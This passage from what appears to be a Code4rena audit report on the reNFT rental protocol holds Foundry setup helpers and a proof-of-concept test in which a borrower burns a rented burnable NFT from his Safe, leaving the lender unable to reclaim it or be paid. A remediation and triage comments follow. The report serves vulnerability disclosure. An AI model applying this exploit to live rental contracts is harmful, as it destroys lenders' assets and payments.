new Item[](parameters.offer.length + parameters.consideration.length), hooks: metadata.hooks, orderType: metadata.orderType, lender: parameters.offerer, renter: payload.intendedFulfiller, rentalWallet: payload.fulfillment.recipient, startTimestamp: block.timestamp, endTimestamp: block.timestamp + metadata.rentDuration }); // for each new offer item being rented, create a new item struct to add to the rental order for (uint256 i = 0; i < parameters.offer.length; i++) { // PAYEE orders cannot have offer items require( metadata.orderType != OrderType.PAYEE, "TEST: cannot have offer items in PAYEE order" ); // get the offer item OfferItem memory offerItem = parameters.offer[i]; // determine the item type RentalItemType itemType = _seaportItemTypeToRentalItemType(offerItem.itemType); // determine which entity the payment will settle to SettleTo settleTo = offerItem.itemType == SeaportItemType.ERC20 ? SettleTo.RENTER : SettleTo.LENDER; // create a new rental item rentalOrder.items[i] = Item({ itemType: itemType, settleTo: settleTo, token: offerItem.token, amount: offerItem.startAmount, identifier: offerItem.identifierOrCriteria }); } // for each consideration item in return, create a new item struct to add to the rental order for (uint256 i = 0; i < parameters.consideration.length; i++) { // PAY orders cannot have consideration items require( metadata.orderType != OrderType.PAY, "TEST: cannot have consideration items in PAY order" ); // get the offer item ConsiderationItem memory considerationItem = parameters.consideration[i]; // determine the item type RentalItemType itemType = _seaportItemTypeToRentalItemType( considerationItem.itemType ); // determine which entity the payment will settle to SettleTo settleTo = metadata.orderType == OrderType.PAYEE && considerationItem.itemType == SeaportItemType.ERC20 ? SettleTo.RENTER : SettleTo.LENDER; // calculate item index offset uint256 itemIndex = i + parameters.offer.length; // create a new payment item rentalOrder.items[itemIndex] = Item({ itemType: itemType, settleTo: settleTo, token: considerationItem.token, amount: considerationItem.startAmount, identifier: considerationItem.identifierOrCriteria }); } } function _signProtocolOrder( uint256 signerPrivateKey, bytes32 payloadHash ) internal view returns (bytes memory signature) { // fetch domain separator from create policy bytes32 domainSeparator = create.domainSeparator(); // sign the EIP-712 digest (uint8 v, bytes32 r, bytes32 s) = vm.sign( signerPrivateKey, domainSeparator.toTypedDataHash(payloadHash) ); // encode the signature signature = abi.encodePacked(r, s, v); } ///////////////////////////////////////////////////////////////////////////////// // Fulfillment Amendments // ///////////////////////////////////////////////////////////////////////////////// function withFulfiller(ProtocolAccount memory _fulfiller) internal { fulfiller = _fulfiller; } function withRecipient(address _recipient) internal { seaportRecipient = _recipient; } function withAdvancedOrder( AdvancedOrder memory _advancedOrder, uint256 orderIndex ) internal { // get a storage pointer to the order to fulfill OrderToFulfill storage orderToFulfill = ordersToFulfill[orderIndex]; // set the new advanced order _createAdvancedOrder(orderToFulfill.advancedOrder, _advancedOrder); } function withSeaportMatchOrderFulfillment(Fulfillment memory _fulfillment) internal { // get a pointer to a new seaport fulfillment Fulfillment storage fulfillment = seaportMatchOrderFulfillments.push(); // set the fulfillment _createSeaportFulfillment( fulfillment, Fulfillment({ offerComponents: _fulfillment.offerComponents, considerationComponents: _fulfillment.considerationComponents }) ); } function withSeaportMatchOrderFulfillments( Fulfillment[] memory fulfillments ) internal { // reset all current seaport match order fulfillments resetSeaportMatchOrderFulfillments(); // add the new offer items to storage for (uint256 i = 0; i < fulfillments.length; i++) { // get a pointer to a new seaport fulfillment Fulfillment storage fulfillment = seaportMatchOrderFulfillments.push(); // set the fulfillment _createSeaportFulfillment( fulfillment, Fulfillment({ offerComponents: fulfillments[i].offerComponents, considerationComponents: fulfillments[i].considerationComponents }) ); } } function withBaseOrderFulfillmentComponents() internal { // create offer fulfillments. We need to specify which offer items can be aggregated // into one transaction. For example, 2 different orders where the same seller is offering // the same item in each. // // Since BASE orders will only contain ERC721 offer items, these cannot be aggregated. So, a separate fulfillment // is created for each order. for (uint256 i = 0; i < ordersToFulfill.length; i++) { // get a pointer to a new offer fulfillment array. This array will contain indexes of // orders and items which are all grouped on whether they can be combined in a single transferFrom() FulfillmentComponent[] storage offerFulfillments = seaportOfferFulfillments .push(); // number of offer items in the order uint256 offerItemsInOrder = ordersToFulfill[i] .advancedOrder .parameters .offer .length; // add a single fulfillment component for each offer item in the order for (uint256 j = 0; j < offerItemsInOrder; j++) { offerFulfillments.push( FulfillmentComponent({orderIndex: i, itemIndex: j}) ); } } // create consideration fulfillments. We need to specify which consideration items can be aggregated // into one transaction. For example, 3 different orders where the same fungible consideration items are // expected in return. // // get a pointer to a new offer fulfillment array. This array will contain indexes of // orders and items which are all grouped on whether they can be combined in a single transferFrom() FulfillmentComponent[] storage considerationFulfillments = seaportConsiderationFulfillments.push(); // BASE orders will only contain ERC20 items, these are fungible and are candidates for aggregation. Because // all of these BASE orders will be fulfilled by the same EOA, and all ERC20 consideration items are going to the // ESCRW contract, the consideration items can be aggregated. In other words, Seaport will only make a single transfer // of ERC20 tokens from the fulfiller EOA to the payment escrow contract. // // put all fulfillments into one which can be an aggregated transfer for (uint256 i = 0; i < ordersToFulfill.length; i++) { considerationFulfillments.push( FulfillmentComponent({orderIndex: i, itemIndex: 0}) ); } } function withLinkedPayAndPayeeOrders( uint256 payOrderIndex, uint256 payeeOrderIndex ) internal { // get the PAYEE order OrderParameters memory payeeOrder = ordersToFulfill[payeeOrderIndex] .advancedOrder .parameters; // For each consideration item in the PAYEE order, a fulfillment should be // constructed with a corresponding item from the PAY order's offer items. for (uint256 i = 0; i < payeeOrder.consideration.length; ++i) { // define the offer components FulfillmentComponent[] memory offerComponents = new FulfillmentComponent[](1); offerComponents[0] = FulfillmentComponent({ orderIndex: payOrderIndex, itemIndex: i }); // define the consideration components FulfillmentComponent[] memory considerationComponents = new FulfillmentComponent[](1); considerationComponents[0] = FulfillmentComponent({ orderIndex: payeeOrderIndex, itemIndex: i }); // get a pointer to a new seaport fulfillment Fulfillment storage fulfillment = seaportMatchOrderFulfillments.push(); // set the fulfillment _createSeaportFulfillment( fulfillment, Fulfillment({ offerComponents: offerComponents, considerationComponents: considerationComponents }) ); } } function resetFulfiller() internal { delete fulfiller; } function resetOrdersToFulfill() internal { delete ordersToFulfill; } function resetSeaportMatchOrderFulfillments() internal { delete seaportMatchOrderFulfillments; } ///////////////////////////////////////////////////////////////////////////////// // Fulfillment Finalization // ///////////////////////////////////////////////////////////////////////////////// function _finalizePayOrderFulfillment( bytes memory expectedError ) private returns (RentalOrder memory payRentalOrder, RentalOrder memory payeeRentalOrder) { // get the orders to fulfill OrderToFulfill memory payOrder = ordersToFulfill[0]; OrderToFulfill memory payeeOrder = ordersToFulfill[1]; // create rental orders payRentalOrder = _createRentalOrder(payOrder); payeeRentalOrder = _createRentalOrder(payeeOrder); // expect an error if error data was provided if (expectedError.length != 0) { vm.expectRevert(expectedError); } // otherwise, expect the relevant event to be emitted. else { vm.expectEmit({emitter: address(create)}); emit Events.RentalOrderStarted( create.getRentalOrderHash(payRentalOrder), payOrder.payload.metadata.emittedExtraData, payRentalOrder.seaportOrderHash, payRentalOrder.items, payRentalOrder.hooks, payRentalOrder.orderType, payRentalOrder.lender, payRentalOrder.renter, payRentalOrder.rentalWallet, payRentalOrder.startTimestamp, payRentalOrder.endTimestamp ); } // the offerer of the PAYEE order fulfills the orders. vm.prank(fulfiller.addr); // fulfill the orders seaport.matchAdvancedOrders( _deconstructOrdersToFulfill(), new CriteriaResolver[](0), seaportMatchOrderFulfillments, seaportRecipient ); // clear structs resetFulfiller(); resetOrdersToFulfill(); resetSeaportMatchOrderFulfillments(); } function finalizePayOrderFulfillment() internal returns (RentalOrder memory payRentalOrder, RentalOrder memory payeeRentalOrder) { (payRentalOrder, payeeRentalOrder) = _finalizePayOrderFulfillment(bytes("")); } function finalizePayOrderFulfillmentWithError( bytes memory expectedError ) internal returns (RentalOrder memory payRentalOrder, RentalOrder memory payeeRentalOrder) { (payRentalOrder, payeeRentalOrder) = _finalizePayOrderFulfillment(expectedError); } function _finalizeBaseOrderFulfillment( bytes memory expectedError ) private returns (RentalOrder memory rentalOrder) { // get the order to fulfill OrderToFulfill memory baseOrder = ordersToFulfill[0]; // create a rental order rentalOrder = _createRentalOrder(baseOrder); // expect an error if error data was provided if (expectedError.length != 0) { vm.expectRevert(expectedError); } // otherwise, expect the relevant event to be emitted. else { vm.expectEmit({emitter: address(create)}); emit Events.RentalOrderStarted( create.getRentalOrderHash(rentalOrder), baseOrder.payload.metadata.emittedExtraData, rentalOrder.seaportOrderHash, rentalOrder.items, rentalOrder.hooks, rentalOrder.orderType, rentalOrder.lender, rentalOrder.renter, rentalOrder.rentalWallet, rentalOrder.startTimestamp, rentalOrder.endTimestamp ); } // the owner of the rental wallet fulfills the advanced order, and marks the rental wallet // as the recipient vm.prank(fulfiller.addr); seaport.fulfillAdvancedOrder( baseOrder.advancedOrder, new CriteriaResolver[](0), conduitKey, seaportRecipient ); // clear structs resetFulfiller(); resetOrdersToFulfill(); resetSeaportMatchOrderFulfillments(); } function finalizeBaseOrderFulfillment() internal returns (RentalOrder memory rentalOrder) { rentalOrder = _finalizeBaseOrderFulfillment(bytes("")); } function finalizeBaseOrderFulfillmentWithError( bytes memory expectedError ) internal returns (RentalOrder memory rentalOrder) { rentalOrder = _finalizeBaseOrderFulfillment(expectedError); } function finalizeBaseOrdersFulfillment() internal returns (RentalOrder[] memory rentalOrders) { // Instantiate rental orders uint256 numOrdersToFulfill = ordersToFulfill.length; rentalOrders = new RentalOrder[](numOrdersToFulfill); // convert each order to fulfill into a rental order for (uint256 i = 0; i < numOrdersToFulfill; i++) { rentalOrders[i] = _createRentalOrder(ordersToFulfill[i]); } // Expect the relevant events to be emitted. for (uint256 i = 0; i < rentalOrders.length; i++) { vm.expectEmit({emitter: address(create)}); emit Events.RentalOrderStarted( create.getRentalOrderHash(rentalOrders[i]), ordersToFulfill[i].payload.metadata.emittedExtraData, rentalOrders[i].seaportOrderHash, rentalOrders[i].items, rentalOrders[i].hooks, rentalOrders[i].orderType, rentalOrders[i].lender, rentalOrders[i].renter, rentalOrders[i].rentalWallet, rentalOrders[i].startTimestamp, rentalOrders[i].endTimestamp ); } // the owner of the rental wallet fulfills the advanced orders, and marks the rental wallet // as the recipient vm.prank(fulfiller.addr); seaport.fulfillAvailableAdvancedOrders( _deconstructOrdersToFulfill(), new CriteriaResolver[](0), seaportOfferFulfillments, seaportConsiderationFulfillments, conduitKey, seaportRecipient, ordersToFulfill.length ); // clear structs resetFulfiller(); resetOrdersToFulfill(); resetSeaportMatchOrderFulfillments(); } function finalizePayOrdersFulfillment() internal returns (RentalOrder[] memory rentalOrders) { // Instantiate rental orders uint256 numOrdersToFulfill = ordersToFulfill.length; rentalOrders = new RentalOrder[](numOrdersToFulfill); // convert each order to fulfill into a rental order for (uint256 i = 0; i < numOrdersToFulfill; i++) { rentalOrders[i] = _createRentalOrder(ordersToFulfill[i]); } // Expect the relevant events to be emitted. for (uint256 i = 0; i < rentalOrders.length; i++) { // only expect the event if its a PAY order if (ordersToFulfill[i].payload.metadata.orderType == OrderType.PAY) { vm.expectEmit({emitter: address(create)}); emit Events.RentalOrderStarted( create.getRentalOrderHash(rentalOrders[i]), ordersToFulfill[i].payload.metadata.emittedExtraData, rentalOrders[i].seaportOrderHash, rentalOrders[i].items, rentalOrders[i].hooks, rentalOrders[i].orderType, rentalOrders[i].lender, rentalOrders[i].renter, rentalOrders[i].rentalWallet, rentalOrders[i].startTimestamp, rentalOrders[i].endTimestamp ); } } // the offerer of the PAYEE order fulfills the orders. For this order, it shouldn't matter // what the recipient address is vm.prank(fulfiller.addr); seaport.matchAdvancedOrders( _deconstructOrdersToFulfill(), new CriteriaResolver[](0), seaportMatchOrderFulfillments, seaportRecipient ); // clear structs resetFulfiller(); resetOrdersToFulfill(); resetSeaportMatchOrderFulfillments(); } function _deconstructOrdersToFulfill() private view returns (AdvancedOrder[] memory advancedOrders) { // get the length of the orders to fulfill advancedOrders = new AdvancedOrder[](ordersToFulfill.length); // build up the advanced orders for (uint256 i = 0; i < ordersToFulfill.length; i++) { advancedOrders[i] = ordersToFulfill[i].advancedOrder; } } } contract SetupReNFT is OrderFulfiller {}
Exploit.sol
// SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.20; import { Order, FulfillmentComponent, Fulfillment, ItemType as SeaportItemType, OfferItem, ItemType } from "@seaport-types/lib/ConsiderationStructs.sol"; import {OfferItemLib} from "@seaport-sol/SeaportSol.sol"; import {OrderType, OrderMetadata, RentalOrder} from "@src/libraries/RentalStructs.sol"; import {Errors} from "@src/libraries/Errors.sol"; import {ERC721} from "@openzeppelin-contracts/token/ERC721/ERC721.sol"; import {ERC721Burnable} from "@openzeppelin-contracts/token/ERC721/extensions/ERC721Burnable.sol"; import {ERC721Enumerable} from "@openzeppelin-contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import {Ownable} from "@openzeppelin-contracts/access/Ownable.sol"; import {SetupReNFT} from "./SetupExploit.sol"; import {Assertions} from "@test/utils/Assertions.sol"; import {Constants} from "@test/utils/Constants.sol"; import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol"; import {Enum} from "@safe-contracts/common/Enum.sol"; import "forge-std/console.sol"; contract Exploit is SetupReNFT, Assertions, Constants { using OfferItemLib for OfferItem; function test_BurnableERC721_Exploit() public { BurnableNFT burnableNFT = new BurnableNFT("Meme Burnable NFT token", "MBN"); // The burnable NFT token which Alice, the lender, will offer. burnableNFT.safeMint(alice.addr, 1); // Approve seaport conduit to spend the token. vm.prank(alice.addr); burnableNFT.approve(address(conduit), 1); ///////////////////////////////////////////// // Order Creation & Fulfillment simulation // ///////////////////////////////////////////// // Alice creates a BASE order createOrder({ offerer: alice, orderType: OrderType.BASE, erc721Offers: 1, erc1155Offers: 0, erc20Offers: 0, erc721Considerations: 0, erc1155Considerations: 0, erc20Considerations: 1 }); // Remove the pre-inserted offer item (which is inserted by the tests) popOfferItem(); // Set the burnable NFT as the offer item withOfferItem( OfferItemLib .empty() .withItemType(ItemType.ERC721) .withToken(address(burnableNFT)) .withIdentifierOrCriteria(1) .withStartAmount(1) .withEndAmount(1) ); // Finalize the order creation ( Order memory order, bytes32 orderHash, OrderMetadata memory metadata ) = finalizeOrder(); // Create an order fulfillment createOrderFulfillment({ _fulfiller: bob, order: order, orderHash: orderHash, metadata: metadata }); // Finalize the base order fulfillment RentalOrder memory rentalOrder = finalizeBaseOrderFulfillment(); // get the rental order hash bytes32 rentalOrderHash = create.getRentalOrderHash(rentalOrder); // assert that the rental order was stored assertEq(STORE.orders(rentalOrderHash), true); // assert that the token is in storage assertEq(STORE.isRentedOut(address(bob.safe), address(burnableNFT), 1), true); // assert that the fulfiller made a payment assertEq(erc20s[0].balanceOf(bob.addr), uint256(9900)); // assert that a payment was made to the escrow contract assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(100)); // assert that a payment was synced properly in the escrow contract assertEq(ESCRW.balanceOf(address(erc20s[0])), uint256(100)); // assert that the ERC721 is in the rental wallet of the fulfiller assertEq(burnableNFT.ownerOf(1), address(bob.safe)); /** --------------- Bob will burn the NFT --------------- */ // Transaction calldata to burn the token bytes memory transaction = abi.encodeWithSelector( ERC721Burnable.burn.selector, 1 ); // The signature of the token burn TX bytes memory transactionSignature = SafeUtils.signTransaction( address(bob.safe), bob.privateKey, address(burnableNFT), transaction ); // Bob (borrower) will execute the transaction to burn the NFT he rented vm.prank(bob.addr); SafeUtils.executeTransaction( address(bob.safe), address(burnableNFT), transaction, transactionSignature ); /** -------------- The lender (alice) tries to stop rental after time has elapsed, but it fails. -------------- */ // Speed up in time past the rental expiration. vm.warp(block.timestamp + 75000); // Now Alice will try to stop the rental but will fail, because the token no longer exists. vm.prank(alice.addr); // We expect the call to `stopRent()` to revert. vm.expectRevert( abi.encodeWithSelector( Errors.StopPolicy_ReclaimFailed.selector ) ); stop.stopRent(rentalOrder); } } contract BurnableNFT is ERC721, ERC721Burnable, Ownable { constructor(string memory _name, string memory _symbol) ERC721(_name, _symbol) Ownable(msg.sender) {} function safeMint(address to, uint256 tokenId) public onlyOwner { _safeMint(to, tokenId); } }

Impact


  1. A malicious borrower can burn the NFT token which he rented from a lender.
  2. The lender won't be able to receive the payment funds of the rental.

Remediation


Check for the function selector burn(uint256) in the guard. If it's trying to burn a token ID that is actively rented in the borrower's safe, don't let the TX pass.


Assessed type

Access Control

c4-pre-sort commented 9 months ago

141345 marked the issue as duplicate of #323

c4-judge commented 9 months ago

0xean marked the issue as satisfactory

c4-judge commented 9 months ago

0xean changed the severity to 2 (Med Risk)